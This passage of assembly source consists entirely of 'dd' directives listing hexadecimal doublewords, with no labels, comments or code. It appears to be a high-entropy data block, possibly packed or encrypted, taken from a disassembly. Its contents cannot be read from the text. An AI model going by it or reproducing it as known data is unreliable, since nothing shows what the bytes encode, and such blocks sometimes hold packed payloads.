0F87F03A5h, 671CCD71h, 0F1C03662h, 0A1AE91A0h dd 30A609E3h, 2C8468ABh, 7AA280C3h, 0C005020Fh, 0CBBD385Ah dd 2E913C88h, 12630636h, 0A2EE01D0h, 3035AEDCh, 4D481FB8h dd 45E0130h, 3C7BD638h, 0FC0C84CCh, 0D0BA4806h, 2A8CBD00h dd 0C7BE3326h, 560179E8h, 77EC6CA6h, 0F5F88044h, 0B3FF00E4h dd 577F4575h, 600A9F58h, 0D478A61Ah, 0ABB74780h, 57B43A7h dd 0A8693DDDh, 0BC88C031h, 73073F1Bh, 44B74B52h, 0CA531410h dd 24B092h, 0F5B6FA29h, 157F07C0h, 415B0402h, 61A6A8FCh dd 30DC9CF4h, 0F83A023Fh, 95B4CEC9h, 0EAE834C3h, 0A7002517h dd 0EDE037C7h, 263B200Fh, 541144h, 0EB69554Bh, 9F00F9E1h dd 3F160B87h, 8FB608h, 17FA9B37h, 0F6488A65h, 60CE5F0Fh dd 2E70A0DBh, 74EF3F4h, 0D25D3BEh, 90FE80CAh, 2B006933h dd 74C3BA82h, 7A5AA85h, 99187D79h, 397C0051h, 0FD062E20h dd 44E55C58h, 3490F19h, 2102140Dh, 44EB310Ah, 0D2C43BF8h dd 9906CDFAh, 0F84BDB86h, 0E61D0011h, 0D7B567CEh, 290F7271h dd 0C0DC39ECh, 2E119F33h, 0C68F0041h, 231C19E8h, 0E7000FC3h dd 0E6B23B4Fh, 431725Eh, 0C2BC9F2Bh, 50ECC093h, 2D008716h dd 421495C7h, 943F045h, 673C3824h, 0F3352C80h, 5000D7CBh dd 16D3F9B8h, 418F8Eh, 3A0D864Eh, 43581447h, 561F4490h dd 0BC2411ACh, 92EB8B0Fh, 2D6C94D0h, 0ECB1F79h, 93EC47B7h dd 0F24A10D9h, 5A00CA56h, 40F3D012h, 17925F08h, 7B34BBCh dd 0F0317996h, 0E7819D54h, 12F20705h, 0A6C0E3A6h, 707888h dd 0C8CB7FFAh, 8EB32B0Fh, 27DA560Fh, 58E0C0C3h, 7F0C6Eh dd 0BEE71165h, 60D5922Ch, 5EDCE00h, 0F2D17D72h, 0D337002Eh dd 998977A0h, 6D482F71h, 0F1F40170h, 708BA325h, 4E028CDh dd 0FCDC0087h, 0BB550AD1h, 0D47BF04Ah, 0BA1C1D00h, 108D4D60h dd 0A1B60048h, 8C4C17DFh, 620296B2h, 52E164BBh, 7EA20008h dd 98B345C0h, 4285A100h, 1628D36Bh, 0E708DFh, 0EAB2096h dd 67015D39h, 0FE215669h, 907C7274h, 577A7C07h, 0DE94E0FDh dd 0DC58253Ah, 176108DCh, 91F31378h, 0FC1EA614h, 0F900A916h dd 6D823BD5h, 33AE2Ah, 3879A285h, 22FE3D50h, 0E1172707h dd 7D906D5Fh, 0A0CA55h, 0EBEAFF9Bh, 0E331593Ah, 29D4CD00h dd 0F0468E32h, 86E02E5h, 0F7B64369h, 981290E0h, 2A59E908h dd 354F0C0Fh, 97009590h, 825E561Ch, 0F711DDC4h, 0FE93388Bh dd 5DB3EC68h, 8582B405h, 2F81280Dh, 0F8CC5EDEh, 8F8A09B5h dd 720519F5h, 7E04C107h, 0A22310C7h, 0AB27127Ah, 0BCF4C020h dd 6000AE45h, 3B03EAFAh, 1F70758Ah, 40CA9852h, 97888D14h dd 4E00FFE8h, 0FCE27AAFh, 0B7C13DFh, 9015A372h, 0BF918080h dd 0AF708C95h, 0A3F3C98h, 4140303h, 0E9193878h, 20E8B88Eh dd 86180769h, 9176E72Eh, 20667EE8h, 29003B70h, 0EB21E639h dd 7DA4F82h, 0B38A07A3h, 88EA80D7h, 5BE4B4C7h, 0EF6AFC12h dd 0AE344040h, 735FE45Ah, 35660330h, 321BC7C5h, 0F918A0DCh dd 0CD023F00h, 0BC4CF087h, 7CCEEC8Ch, 9DE1008Dh, 50607656h dd 0FB0411D7h, 21221A8h, 0BEE24081h, 0FD85BC0h, 0F4EFE78Dh dd 988B07E0h, 80008244h, 0D9172C32h, 2ED89Fh, 0C939B57h dd 0FE208C89h, 42B1D03h, 0B255B2C2h, 7BB56096h, 0A689024h dd 0FC2C7DDEh, 67043F94h, 0A8F552F0h, 4EDC00D4h, 0F9C95B3Eh dd 87A4866h, 6EC824h, 9DEE444Dh, 0C200BE0Eh, 75DD40C1h dd 1208AA6h, 0D9D1C02Fh, 40FDF302h, 4909B2E8h, 9839B800h dd 8EB51551h, 0E49CC2h, 170BE57Bh, 0A800E809h, 2062F2ECh dd 91A04C51h, 3A320038h dd 23182874h, 2E405D00h, 5E06C899h, 97F22E13h, 1E7A00E4h dd 0F708DB1h, 712AB61Eh, 328860A4h, 0C2978001h, 0A6CA4AEBh dd 2EB08303h, 0C04872F0h, 3FFB2Ah, 0C65D7540h, 80AF34A1h dd 4E02FC09h, 0E8C5812Fh, 5C24D2C8h, 9C934A0Bh, 57004DB8h dd 0A786703Dh, 606E229Bh, 79EDC874h, 2925E67Ch, 9FC2034h dd 93BEFCh, 2C77C278h, 904E6BF3h, 59B21316h, 0AE847C0Fh dd 0BD2167C0h, 37684320h, 33B32E7Fh, 3BBE0031h, 0AFE259B1h dd 41C74E03h, 16A89055h, 4028D2F1h, 591D49C4h, 0DA057267h dd 809D75B1h, 9046B883h, 3BDABADh, 77A2642Ch, 7E801357h dd 4501EACCh, 0C8E633DAh, 9EF82EDDh, 0F8EE60F6h, 0A592E843h dd 0B3B25039h, 0DCE073h, 31147410h, 179D28EBh, 7F353Bh dd 0D00D3F1Eh, 0C45402h, 0D4C5CE6Bh, 1B0362FCh, 0B87AE131h dd 7D1096D9h, 8B4C4F83h, 0EF170304h, 0E2D7106Ch, 0C0585435h dd 2158DF57h, 0CAF5AD00h, 1C30C071h, 6B0201A9h, 2785D028h dd 9078FEA5h, 1792F200h, 0BD306D4Dh, 0F62CBA8Bh, 8D7C50h dd 0FE32FFD6h, 8930E975h, 2DC7C02h, 40AB802Ah, 1C946Ah dd 34206C41h, 0D121CC12h, 0B02A9600h, 0DBA4E6B4h, 0FC6CE3C0h dd 12FD310Fh, 477F2000h, 802E84Fh, 6E172B0Bh, 5005A25h dd 204087E1h, 0D0920AE7h, 939A00F4h, 18923360h, 0F612900Eh dd 279A3BAh, 0E074C2C5h, 7389F004h, 414B0762h, 80828326h dd 0F502C9C0h, 385873Bh, 0CBA1716h, 149CFD1h, 0ED640BEEh dd 5C201061h, 314E01DBh, 636B4628h, 0B0016EA1h, 949B231Dh dd 92AEBD40h, 3C97002Ah, 4E9E2F3Eh, 740E812Ch, 0A059DE61h dd 0A4373286h, 6644001Ah, 0BABC5257h, 800934Ch, 0C29565E6h dd 1ACA8Dh, 6D469687h, 0E16A233Ah, 0D682271Dh, 447E65C0h dd 5A8B979h, 1526ABC2h, 0C6218085h, 69012FEAh, 0C8BCF2F6h dd 10D08EFAh, 0FEFE47h, 5CB303BDh, 956D5BA2h, 390F2830h dd 0EEF4C4h, 3FAF2310h, 0ADFAA521h, 8E92C10Fh, 169058A1h dd 76843983h, 320333BCh, 59CFF6B8h, 4D3EB2D8h, 81C19900h dd 0A738EB94h, 0CC0A00B6h, 978A8EAAh, 6F006588h, 4124B1Bh dd 1F700F22h, 0BEBA9F95h, 0AA1F2A80h, 98401B26h, 0F7A6C512h dd 33F66000h, 76C84FC9h, 6EE93A15h, 4F7B019Fh, 7460D75Dh dd 6A62A066h, 7178FF03h, 889FB739h, 17377Ah, 0B9E0F13Fh dd 29A38A63h, 9134C60Fh, 38E9E10Dh, 7DECA0ACh, 12970E15h dd 0EBE35DB6h, 8800B369h, 0B0053661h, 71E942E2h, 0A094004Bh dd 0A1E64339h, 4D01D103h, 0DE3EB189h, 0FC30BBF0h, 0B4067A7Dh dd 0CF4980F0h, 0B27CFF72h, 0A8F9F1Eh, 2555E180h, 3E342CF4h dd 91816244h, 806E270Eh, 0EC09F0BDh, 7F81D300h, 10AFD721h dd 0E5F0017h, 0CA7B0BB5h, 0D41DFCA1h, 49493406h, 1A8182B3h dd 9FE8417Dh, 1D90BD4h, 65444FC7h, 0F0D14EE1h, 0F10C92E9h dd 0A955B01Fh, 47C900CEh, 0E05796DAh, 1700CB8Ah, 2FD4D518h dd 86E455h, 0ED590FB9h, 0AF845DEFh, 0B3B10D04h, 60C0D664h dd 7AA389h, 0FF887508h, 0AA52DC98h, 847BDB00h, 0E7FC7062h dd 0AC2F00B1h, 13DE36A3h, 0B207E95Eh, 0B83D9C1Ch, 0FC6CF5B0h dd 2E93000Ah, 1AB1F1F3h, 75675CC9h, 95A119A0h, 346C7E90h dd 64983C26h, 60AB42A4h, 712BE09Ch, 0BCB50038h, 0EE52CD68h dd 0F7E4500Ah, 3DA0AE02h, 0C0083B40h, 774F968h, 0E696E7ECh dd 5AE90EAh, 0AF374519h, 0EB1069ADh, 4AD9E092h, 1A34000Ah dd 6C75CE88h, 0B9F56100h, 784EF8DBh, 0E5DD0051h, 10071BA1h dd 0C900D371h, 0A91FF41Ah, 2C403B94h, 2ED44CEDh, 0DC290420h dd 8F060358h, 0A5112438h, 0AD4B07D4h, 338C00E0h, 273D910Eh dd 0A43480C5h, 74E76AD5h, 0F56D06D7h, 99C712BEh, 0EC797000h dd 366054A6h, 86ED0048h, 515AF3A8h, 6FE6BD03h, 7E0058FCh dd 1B75800Ah, 0A59AF9h, 4279D233h, 7026095Eh, 0FD02363Ah dd 809B0D3Eh, 0B5C1D964h, 7A3F7E5Ch, 2FF81Bh, 1B9508Eh dd 38557FA7h, 38346C59h, 84085CBAh, 12008B1Eh, 0AE87820h dd 0B2183A12h, 319C689Ch, 7548C714h, 6C053A0Eh, 0B4872439h dd 16BE70D3h, 9688E1h, 5C4C0BD5h, 9005DE9Dh, 0E9A6B74Dh dd 0CA1E12C0h, 7017796h, 0EF29AE71h, 0E15BA4E2h, 0DB34F890h dd 7924C3F0h, 6F00D876h, 0F00F2ADAh, 0DAA1F5Dh, 5DD002Bh dd 0A4412E1Dh, 44C63525h, 0EC676F90h, 6940B280h, 57002878h dd 0B8BA7622h, 0FA8B3BA1h, 237B00EDh, 86E1985Eh, 0F00085F6h dd 5D819207h, 193906Ch, 3BDFCDC1h, 6064ADCFh, 0F17C5790h dd 0E020FD2Dh, 7473CA2h, 8F5FA4B8h, 0DA044B40h, 2448FC72h dd 5102FEA0h, 0FABB3A57h, 30B0B8h, 0EB565E5Ah, 67BA8C65h dd 71F6012h, 9072D4C0h, 1D2242CAh, 0EC808A6Bh, 0BEAD3D35h dd 1BA90534h, 0A7CC8E05h, 3CC6130Ch, 12F174E3h, 0A30004EDh dd 8BA54DA8h, 19BB2493h, 0D0401220h, 91620AF4h, 9000314Ah dd 171D2D4Ah, 67AE0052h, 214E42A9h, 64BCEF5Ch, 7A348700h dd 718A7B20h, 0BF7F40h, 8561AE82h, 3C89927Eh, 0C59C58h dd 0A81DB3FEh, 34D6BF1h, 0DEA17813h, 0B000BDF6h, 8D719A70h dd 0D911FBh, 556D4435h, 855CE53Eh, 0E7745D72h, 4E29800Bh dd 9D940097h, 0F72489Bh, 0F15D1417h, 6C0ACC1h, 0A1D0300Dh dd 0F21EE371h, 2DC0CFB5h, 6EB6EC1Ah, 81CC1DD2h, 0FE90806Ch dd 5A06E81Bh, 0E1249200h, 8F76FD0Ah, 48A10096h, 5FE44022h dd 4B2D3728h, 0C4009D07h, 824170ABh, 78CB4FEh, 793DA4F8h dd 0CC4EB420h, 0E1005D20h, 5FD4C290h, 9B923F2h, 5AD78FC3h dd 2FF038F0h, 0C1145600h, 999D10B0h, 6FD30019h, 0CB73741Eh dd 0BF5C974Ah, 0E00D27E7h, 7D5EFE4h, 269DAA9Ch, 0A54500Eh dd 0BC07E1FCh, 927643B2h, 0A6B9002Eh, 1A3938Dh, 0A0C59A56h dd 80EA6C36h, 0B4DFFD28h, 2E45FEh, 5ED7020h, 335AEE3Fh dd 0B631D800h, 0B8695881h, 0DDA9312Dh, 3A1F8D78h, 23DE4F0h dd 997563E5h, 48409620h, 8095A9D4h, 8656D188h, 2C47F12h dd 4ECD7929h, 0E58AEE9Dh, 69D300ECh, 9C2B20B7h, 0AC6FDD00h dd 0E5F3F4DFh, 65BD1C2Dh, 0AF90778h, 0ED76E127h, 0DE883498h dd 0B028284Ah, 0CE7E3BAAh, 8193BC80h, 8B62C32h, 0D4282D7Ah dd 0E912E03Bh, 6400049Dh, 3C535B57h, 677C008Ch, 0ECEA9723h dd 8A00454Fh, 86C06532h, 26E55914h, 85149117h, 9004F56Ch dd 0B14AB860h, 8E2A531h, 0A0BE3561h, 101AD619h, 36A0803h dd 9FDDC7B0h, 0AB982E0Ch, 91008835h, 0FC48DC80h, 0EC4982h dd 0CE51CC9Eh, 6C1403B7h, 906F9B06h, 717B6Bh, 86E260E6h dd 0DC16707Eh, 0B03A0200h, 0C7DFF04Dh, 43E90182h, 0D7AA3B95h dd 0E36CFCE0h, 41207C06h, 0CC19058h, 0EA12396Eh, 0D80FF358h dd 1486DA8h, 0D9FDF7DDh, 85076882h, 0B4A04FBDh, 0E8E347CEh dd 6656F400h, 0C3837781h, 0C6EE88h, 89DE292Ch, 0CE7A50D8h dd 0C3EF4Ch, 1BF18FE9h, 74B79A3h, 4359602Fh, 0F87710E1h dd 7A0093FBh, 74AA14D7h, 18848651h, 0A692CFC9h, 780160A6h dd 0B94721D2h, 0C8EF1341h, 6404A9h, 0AC27FBFDh, 23AB757Eh dd 5ECE871Fh, 24F6A1C0h, 795FD70h, 0ECFF96Ch, 2C483EAh dd 0C1091AA0h, 0FEF02CE2h, 0D9A93Eh, 0F474D6CBh, 3586140h dd 205F7ECFh, 7AF315B9h, 0A2C7F90Eh, 1244E0A1h, 0FD165Dh dd 41A9B61Bh, 0FB03E49Ah, 0B3EE8507h, 0DB8072D5h, 724C8B24h dd 83EF0088h, 0ABCBACB2h dd 0D1E4BF7h, 0C205DC4Eh, 0B0029607h, 0D6120974h, 457004F4h dd 0D48A1ABDh, 0CE5F06F4h, 1AEC28D0h, 844CF140h, 22647522h dd 4879E7BBh, 885BE888h, 0F789B890h, 0ED642608h, 0B5222479h dd 31F6148Ah, 12EC7329h, 0ACBA2060h, 0E000C528h, 0D13BAA52h dd 3082151h, 0F20DB2A6h, 1C80404Fh, 41017B63h, 2E84C027h dd 0C6DC8F77h, 975303ECh, 0A233E24h, 352D48B0h, 8F999A00h dd 0E8B5CC09h, 8D7E00BBh, 8E4D2EAAh, 7F011C5Ch, 0BFF72E0h dd 0B8C3144Bh, 1E7C1Fh, 29B3A48Ch, 0FE872F34h, 0F0C46724h dd 0C312DF00h, 0ECB445Fh, 0E5AE8B5Ah, 47793800h, 5400FE06h dd 0EBC49E9Ah, 0A064C749h, 48CDEEh, 14908933h, 0F6A8BA3Fh dd 0E102730Fh, 1804A019h, 1D8E6795h, 0E21DCAh, 0DC203EBBh dd 6C004AA4h, 0EE057DF1h, 4D5A6Dh, 99CFEB68h, 0EDC84111h dd 26E4D200h, 0EEF2D5ABh, 1B79001Fh, 0E6620FA2h, 471F3398h dd 0F7C320CFh, 0D02B09D4h, 68278h, 317684ECh, 95418A12h dd 0C13E0200h, 0AFBB494Ah, 2D360005h, 0CC557134h, 7900448Dh dd 6F01F45Bh, 50D06Bh, 594C0782h, 7F85A3A1h, 0D5945Ch dd 10ADE026h, 1308F5h, 0F0893FFBh, 758F8A66h, 0C6E6BE00h dd 86885ADAh, 47350041h, 0F522BFFAh, 7F0050F6h, 0AB6FCDEBh dd 49C78Dh, 0BB17918Eh, 40C3DFA4h, 0AE66930Fh, 0A3A2A064h dd 99F8A5h, 30809263h, 0FF24A409h, 7DBDD407h, 278381E6h dd 48C5FAFEh, 92FD72B8h, 6C420000h, 4EBC0134h, 0D00292Fh dd 0B1D05171h, 417F272h, 0C48025A2h, 0E27EC01Dh, 53001CECh dd 16FFFB2Eh, 0CE8596h, 11D9DBDEh, 0A57220F6h, 0CA09DCE4h dd 0D087A6D7h, 2C300068h, 4767C833h, 0D03B7A0h, 0F25FC22h dd 4A3890E1h, 0E6542698h, 0D99200A9h, 9BCD5B7Fh, 79E34C01h dd 0F6DBAA1Ah, 6E5EB041h, 0C10600C7h, 8AFAD7C4h, 76004CFFh dd 0A320112Dh, 15860h, 96B1521Ah, 4B7480D3h, 124CEE3Ah dd 5000E2CBh, 174E9A72h, 0F13D000Ah, 8C355A8h, 6C0F2583h dd 0C0DE7AC1h, 62DCC0F4h, 798F008Dh, 0E8B004E6h, 4673D650h dd 0D4F96700h, 0EFB84029h, 0A3CE1E06h, 8690811Fh, 203F0BCCh dd 79001144h, 70FFAF0Fh, 0E43CF4h, 662E3BB1h, 0A74D2D78h dd 8032853Eh, 99378B23h, 713F5Eh, 54C451AAh, 0FE7649Eh dd 0C9580DFAh, 826000E3h, 0DE1172C0h, 138B006Bh, 0FE5D01E9h dd 44307998h, 65062061h, 0DE8A0084h, 27F81D73h, 4B377FDCh dd 43004110h, 2893E721h, 3942CDBh, 2CDAA38h, 0BBB84FB7h dd 9EE689B9h, 627A1C00h, 0E5934A57h, 5E6607BAh, 402D2E51h dd 0C2E3B156h, 2C672503h, 0A042F882h, 50846A09h, 0C0FCFDh dd 7D296DDFh, 17EB2836h, 0FC8E4503h, 0B8D1A5DAh, 0FEAF8BA3h dd 0E4A600ECh, 19BC5E2Ch, 36001B70h, 444B88A8h, 7F28D539h dd 96B00053h, 0AE7E1C3Ah, 86004E6Ah, 17209C6Eh, 8A5873h dd 68A45D9Ah, 0C042B93Eh, 4F00DFF4h, 1DA884FEh, 1613883h dd 1087E912h, 0F40B2137h, 0EB0080FCh, 6885145Fh, 15449B6h dd 0F50A5977h, 0FA8AE891h, 0D012B440h, 1248E00h, 99E39CEh dd 0A059EA07h, 3129E2CCh, 17284251h, 87B5C453h, 0D3452B07h dd 1904DBC5h, 4C7C24B0h, 6F800408h, 1502455Bh, 62CFF207h dd 0F4E0AA9Ch, 4856655Eh, 0D0044B6h, 4C1CB0A4h, 76039877h dd 8EE80757h, 4E30887Fh, 93610431h, 0C0BBD8A8h, 10A36818h dd 0FB855601h, 0E59CB618h, 0E373ECh, 6BFE632Ah, 0C1AFD154h dd 0A45D503Ah, 0D90004B5h, 682F3152h, 0A577008Ch, 819464A0h dd 413EB03Dh, 67B10019h, 0F212BF26h, 0BE2D0FEBh, 62C03ABDh dd 852A140Bh, 0B4005977h, 0FE329F98h, 39510242h, 0F4416B92h dd 50F9973h, 2433BA29h, 80FA41C2h, 23AE0AF4h, 0A6570F00h dd 0E722E061h, 291C1670h, 324C00B5h, 0BFA72C84h, 0A1095500h dd 0B2F6E84Fh, 41E480Eh, 0FA9150h, 87C89C6Fh, 145349F2h dd 6DC2D900h, 0A089EAC1h, 1AF304CEh, 8011160Ah, 14284938h dd 0F80C89Bh, 4A3EADCDh, 0E119000Eh, 0C9AFB765h, 0D90E4FAAh dd 5F999118h, 533F9300h, 0F7BC0688h, 1CB230D0h, 4042A38Dh dd 23A719C6h, 160136CAh, 58AE5BB8h, 9160CE86h, 0FAF60EE7h dd 4CE1B279h, 0DCB5EE65h, 9A1DC4BBh, 0A947A295h, 8593C3C6h dd 8AE6B1C0h, 7EBE0CC8h, 4F6600A8h, 77EC5919h, 0BD3F03A0h dd 0E54980D6h, 71A236A5h, 15870074h, 0AEFA4385h, 6A0014D9h dd 237A63F8h, 0E49B679Ch, 591D0091h, 0E86D81C3h, 323B571Ch dd 2000785Ah, 0BB64FF5Eh, 0BC8731h, 0E5EEDBEBh, 0A7D50D28h dd 0E90BA090h, 0BD5FA5h, 0B0BB3A19h, 539F473h, 95EB158h dd 218309D3h, 5448100h, 0AA0D1470h, 0ECF84843h, 1EA93C30h dd 1BE033Bh, 3427251Dh, 658C43Eh, 60946D2Dh, 0CCE108h dd 0ACBD67C5h, 2B125FBEh, 0B67BFC00h, 23BF4263h, 38D40359h dd 3B252255h, 0A7CE8000h, 2897F49Fh, 0D3F800EFh, 5167014h dd 25008DE6h, 0FF92BC7Fh, 0E0B9ADB1h, 49D800FAh, 29033DA6h dd 82006597h, 69D2608Ah, 719A1838h, 7296008Fh, 3EE1CBF7h dd 9C390F94h, 0EAB0098h, 75662A5Bh, 10B8B0h, 8F7ED672h dd 0DEB30C27h, 0CCEE1E00h, 154A6AD2h, 3E6E3968h, 24CFE100h dd 0AC50EBD5h, 1836B804h, 70B0FF0Bh, 0BB85000Dh, 0C26AB7DCh dd 890ECAD3h, 0A0D1C013h, 1867EAA5h, 9EF400F9h, 195F3962h dd 0B672A752h, 0C507797Ah, 965CCF0Eh, 4068E220h, 0C93D2E25h dd 4F811FF8h, 7F460Dh, 334A1419h, 2626021Fh, 3C6006h, 0C7FD39F9h dd 5CB27D60h, 1E00B8A1h, 0F3B98C11h, 0E4A92FE8h, 0ECEC34CCh dd 279BD912h, 69DC74A1h, 3EAD78C7h, 80808E2Bh, 0F9862FD5h dd 87028BA7h, 575A1A81h, 24966070h, 0F27800C3h, 47529110h dd 1B00AED0h, 0EA712145h, 0BBE0890h, 0B0C74AB1h, 0FAEB0083h dd 0C26E40E8h, 2A0010B8h, 924655A5h, 2473FEh, 32DAF458h dd 97AEBCD5h, 0F298CC72h, 260C6148h, 2F1D50A0h, 0E8772180h dd 0F6E72C40h, 69551FFBh, 0D4934497h, 0B838E04Ah, 150080B0h dd 6C13C95Ch, 0E37D51h, 0EE1D3FBCh, 0B5C3FC03h, 2EA45800h dd 75769DEAh, 0E9421DD0h, 6F9CC0EDh, 9A919EFBh, 0BE06A202h dd 601DCDCEh, 13A6C254h, 0C1C5498Ah, 72FB168Ch, 86DF13C0h dd 0D8632800h, 7EE5B4Ah, 4B57DAAAh, 0A6B9F05Ah, 9D07397Dh dd 0B3B2260Ch, 0AB664730h, 0AEC609B8h, 5C80ACBBh, 7BA078B0h dd 7228F000h, 0BF8E105h, 0F27F0083h, 0D033D699h, 0C13C3FBDh dd 0ADA2802Ch, 388CBC26h, 2309003Ch, 83BDCCD3h, 0E84C0A55h dd 811517F5h, 0E92ED300h, 14929640h, 9CA2C027h, 206FBB02h dd 0C40389DEh, 0B935A8E3h, 27630275h, 8C3330D3h, 0D80D0C60h dd 0DF781F00h, 17326E11h, 586A1E2Eh, 2244C1E5h, 2237DCB4h dd 57460018h, 77A42BCh, 0CEAE0379h, 0ED6E9582h, 0AA211FFFh dd 0E3A05326h, 0C2FA0C98h, 8C5EBC00h, 0C014336Dh, 49610041h dd 9709CBAFh, 0EF0038D2h, 0A6B1BBBAh, 5EFDC1h, 0AFA9A4F3h dd 159D61A8h, 7100997Ch, 6C2659ABh, 0EC83B2h, 0A24F6FEh dd 0AA78FC69h, 0B0235C13h, 19FA5480h, 3B5E5C45h, 94571D00h dd 0C887A7CDh, 23C7360Bh, 0A0FC8ED7h, 4703EB1h, 6BF8B7h dd 60FF2FF6h, 0BFE47812h, 1F80BD09h, 74440AFh, 496E01E5h dd 0E987DDBCh, 82B1E08Fh, 0EE57E200h, 80643666h, 650E00B3h dd 3436348h, 0DD00E081h, 0B4B093ADh, 0A8A0A6h, 0A1972876h dd 2EF1299Eh dd 0C000AE4Ah, 62EA141Ah, 615B01B3h, 5EF8A9B9h, 80EC3505h dd 0A50EEF10h, 2C3181C2h, 97A0E548h, 0FC480FFFh, 72E27160h dd 5B079587h, 89530F9Fh, 1CB4223h, 554B0828h, 71F24456h dd 81484048h, 780069FAh, 9A229AEh, 0F92064h, 31135B4Eh dd 3AEB7E2Eh, 0A041160h, 168F4C09h, 130F15Eh, 0C881932Dh dd 0D7F3C4EEh, 858DBA16h, 80E69509h, 2E2FAEBCh, 1E8B0339h dd 11B41D26h, 173F6BA8h, 0C085EB25h, 99BDA644h, 5C8F024Ch dd 7CE0D502h, 33EE89EDh, 0C1F03213h, 807C4100h, 0A9D4A99h dd 16A53CFDh, 5CA800C0h, 4B66E295h, 7BDBC60Bh, 3DE4A027h dd 571BD30h, 6F05F43Fh, 0DA404A9h, 0F3F4C0CDh, 9C008A65h dd 0FB69D873h, 48567EC5h, 0E506F424h, 30378178h, 0E9005BB0h dd 1740629h, 265C1CB5h, 5C2A5Dh, 0F8D79832h, 0D5008602h dd 0C424EFF0h, 933F7DCh, 4772DFDBh, 17B43400h, 1107C0AFh dd 7D59FD65h, 0ADF0809Bh, 30DD5Fh, 419A6398h, 8A9F979Bh dd 0E948A860h, 60AA71h, 0C08246D0h, 916E7692h, 10BF4C30h dd 2C5DFEh, 0BB0E6259h, 990B47A8h, 1DD0D959h, 3BC2E0h dd 0F0240927h, 0EB16576h, 0C5293AB3h, 188511A0h, 0B6009053h dd 67A0CA3h, 0B345A7h, 8155CD0h, 46AAACC0h, 99DB961Ch dd 0E30141D2h, 4DFBA4FFh, 18801F4h, 94B04BF7h, 4BBA7B13h dd 0ED0501E4h, 0C04C88EBh, 48B860h, 82AD07CAh, 0A0E820CBh dd 8085748h, 1048D2Dh, 9CF2FB64h, 4B288F09h, 48E90590h dd 99008C94h, 8434B3A3h, 0CCFD00B7h, 0A0059E2Bh, 4A2C41F7h dd 4D80C074h, 2F7D15B1h, 10A10032h, 1B049A7h, 1800A3BCh dd 1F38CBD5h, 74FBF1E4h, 0B176D9h, 0FC596E56h, 0E6EB89C8h dd 3C73F400h, 0EC913E32h, 1D031661h, 0FA7FE00Eh, 1C020604h dd 0EC90A194h, 0E0B76A5h, 0E778FD5Bh, 9DC0CA00h, 4E0BA8B9h dd 202D986Ch, 6875FCC4h, 11AA00D9h, 67EE6A38h, 0D74A72EDh dd 0D81B080Ah, 5FDC9180h, 0EE601796h, 25700068h, 9545F501h dd 7A01C411h, 512E366Ah, 0CC40BD8Dh, 428E97C0h, 0A0708986h dd 5B2AE0CCh, 33F500CAh, 0FBB37152h, 7A3DAEF7h, 3DC50026h dd 0F3F40698h, 20E2009Bh, 94E168FDh, 190082A4h, 5CF9147Fh dd 35ED41h, 514F13B2h, 4A431A28h, 9E239B00h, 2FA101ADh dd 0D11B0076h, 645F7027h, 980FA98Fh, 69CEEF2Bh, 56E500A2h dd 3929C7h, 0D2BA5B94h, 85175F07h, 609586C0h, 70CDA1h dd 8496BE09h, 3A53D813h, 2E1F6D00h, 2CC48843h, 24794Fh dd 0A0E2B9D1h, 5F79F85Ah, 864E1600h, 0DEB64B12h, 58502F31h dd 0D9A92240h, 5D8A3000h, 0EFC27AD7h, 62BE0019h, 0CDFDA70Ah dd 96003B87h, 0EDA3AF88h, 6CCCD6h, 858A1BBFh, 63FCC954h dd 0B603400h, 0BE0F7231h, 451200BAh, 6E2CCC9Bh, 0E5036251h dd 0B8B30516h, 7C6007C1h, 4C0DAD15h, 0AF008E70h, 7798724Fh dd 6FF4964Eh, 270F18A0h, 80746505h, 0E8EC6A57h, 80B80D00h dd 4F2F675Ah, 0CCFC75h, 5089FCAFh, 0F73549FDh, 0BB200202h dd 87B7B3DBh, 0CB12B38h, 40F26B1Fh, 3FA4E4Ah, 0CB16E7C7h dd 198E19Ch, 2B009654h, 0BAED0D3Ah, 72F9C6DBh, 0C326050Bh dd 41B0744Eh, 0BE4B7D28h, 1C78F4F3h, 25D98C0Eh, 0A77580B0h dd 793F4254h, 0C2B31C76h, 88F5830Fh, 0F0A0D540h, 3272BA6Fh dd 13B53F00h, 1102AEF6h, 77F0EFh, 4F8D7CDCh, 9990A2D7h dd 0AF9D3B00h, 7F20A560h, 27E62Ch, 230C91E9h, 5F6C5686h dd 55928200h, 75D2B79h, 3A880ED8h, 0B220BBA2h, 0ABE961FEh dd 80F93807h, 82F04BFFh, 367B9CAh, 615DEE40h, 80EC0F41h dd 0F52DBEA4h, 34004D79h, 8528DC57h, 2BA9AB7h, 36E7121h dd 8093C333h, 184054D2h, 43605C97h, 7763BBF0h, 98B9055h dd 7995533Bh, 35F3685h, 3DB99794h, 70472911h, 1160A611h dd 0F511BE43h, 241B2140h, 47293236h, 89497110h, 8C22DA1Fh dd 447B24EBh, 8027F7h, 5A0490Ah, 91BC4412h, 0C622C0E3h dd 0C0002EB6h, 0FF9E0DB0h, 55DB6Dh, 6508A1A4h, 0C970128Dh dd 0CCDE0C50h, 936E7B0Fh, 0A51CA06Bh, 0B0EF222Eh, 40DE005Ch dd 7A21F333h, 0C00664Ah, 0B7C44DABh, 1C901A6Eh, 0C245E757h dd 488E4EB8h, 0DEAFB840h, 0D300E671h, 3D92E823h, 93109Dh dd 5190E4B6h, 84E3A714h, 44001E77h, 88782AAEh, 0E63AD1h dd 5518AB17h, 0F49BE592h, 0CC34F100h, 0B76812E4h, 280B38D2h dd 0C87BD180h, 995C3F32h, 0DFECEC92h, 1C00BD76h, 832363DDh dd 0C67391Eh, 875E200Dh, 36000760h, 1A372E02h, 304725CCh dd 0D4078D8h, 6801976Bh, 1B9B5695h, 0C9E3E872h, 3AECDB88h dd 0EAAA005Ch, 45774404h, 303F811Bh, 0CE1F8062h, 6978D9B3h dd 82C43E7Bh, 0E9E09F00h, 316EF3CBh, 0C124FA00h, 0ABB55F65h dd 163E0EEDh, 0A4C1CCCEh, 0E903F136h, 4CB3D09Bh, 8215F700h dd 0A72FA016h, 7D28FA78h, 0EF200089h, 8C8B7F99h, 3D01826Bh dd 5C0C275Bh, 0EF602B93h, 0BD0E00F7h, 0BAA7F858h, 8F044F43h dd 0D3CDCF3Fh, 20F953C1h, 1E9F07DCh, 0F11BC12h, 0DEA074EBh dd 0DF45573Bh, 0A4936328h, 0D6004E7Dh, 1BB13178h, 1F61DEh dd 1066F4AFh, 0F8015F89h, 0AA518E1Fh, 90234FC0h, 1C12EDECh dd 0E82FC9C1h, 0A6CA00E0h, 0B460D755h, 0E2004EE8h, 0BCE53415h dd 0DE620Ah, 81357F58h, 2046403Dh, 86672F00h, 8C33F11Dh dd 7E02E4DBh, 0DA51003Eh, 0DD2BA522h, 